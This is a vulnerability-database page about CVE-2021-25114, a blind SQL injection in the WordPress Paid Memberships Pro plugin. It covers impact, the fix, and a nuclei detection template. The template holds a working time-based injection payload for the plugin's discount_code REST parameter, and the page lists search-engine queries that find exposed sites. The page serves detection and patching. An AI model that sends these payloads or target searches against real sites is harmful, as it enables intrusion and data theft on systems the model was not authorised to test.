HexBrain

Browse / CVEs / CVE-2021-25114

CVE-2021-25114· strangerstudios / paid memberships pro· CWE-89

WordPress Paid Memberships Pro <2.6.7 - Blind SQL Injection

criticalseverity
9.8CVSS score
81.8%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

WordPress Paid Memberships Pro plugin before 2.6.7 is susceptible to blind SQL injection. The plugin does not escape the discount_code in one of its REST routes before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.

Fix

Upgrade to WordPress Paid Memberships Pro version 2.6.7 or later to mitigate this vulnerability.

How to confirm it

Send: @timeout: 15s ; GET /wp-content/plugins/paid-memberships-pro/js/pmpro-checkout.js
Positive when: duration_1>=6 and contains(header_1, "application/json") and status_code == 200 and contains(body_2, 'other_discount_code_')

Run it with nuclei: nuclei -id CVE-2021-25114 -u <target>

The full check
id: CVE-2021-25114

info:
  name: WordPress Paid Memberships Pro <2.6.7 - Blind SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Paid Memberships Pro plugin before 2.6.7 is susceptible to blind SQL injection. The plugin does not escape the discount_code in one of its REST routes before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to extract sensitive information from the database.
  remediation: |
    Upgrade to WordPress Paid Memberships Pro version 2.6.7 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6c25a5f0-a137-4ea5-9422-8ae393d7b76b
    - https://wordpress.org/plugins/paid-memberships-pro/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25114
    - https://www.paidmembershipspro.com/pmpro-update-2-6-7-security-release/
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-25114
    cwe-id: CWE-89
    epss-score: 0.81828
    epss-percentile: 0.9965
    cpe: cpe:2.3:a:strangerstudios:paid_memberships_pro:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: strangerstudios
    product: paid_memberships_pro
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/paid-memberships-pro/
    fofa-query: body=/wp-content/plugins/paid-memberships-pro/
    publicwww-query: /wp-content/plugins/paid-memberships-pro/
    google-query: inurl:"/wp-content/plugins/paid-memberships-pro"
  tags: time-based-sqli,cve2021,cve,wp-plugin,wp,sqli,paid-memberships-pro,wpscan,wordpress,strangerstudios,vkev,vuln

http:
  - raw:
      - |
        @timeout: 15s
        GET /?rest_route=/pmpro/v1/checkout_level&level_id=3&discount_code=%27%20%20union%20select%20sleep(6)%20--%20g HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/paid-memberships-pro/js/pmpro-checkout.js HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - duration_1>=6
          - contains(header_1, "application/json")
          - status_code == 200
          - contains(body_2, 'other_discount_code_')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from